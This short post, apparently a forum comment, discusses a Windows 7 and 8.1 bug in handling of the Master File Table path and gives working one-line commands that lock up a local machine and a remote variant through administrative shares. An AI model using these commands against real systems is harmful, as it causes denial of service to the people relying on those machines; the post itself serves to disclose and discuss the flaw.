Microsoft Master File Table bug exploited to BSOD Windows 7, 8.1

So easy to trigger

I found the fastest way on Windows 7 was to open a cmd window and type

start c:\$MFT\123

Then I can't open another file on the system and pretty much everything locks up.

To remotely exploit you would seem to need the root of a drive shared or a domain account that can open admin shares:

start \\machine\c$\$MFT\123
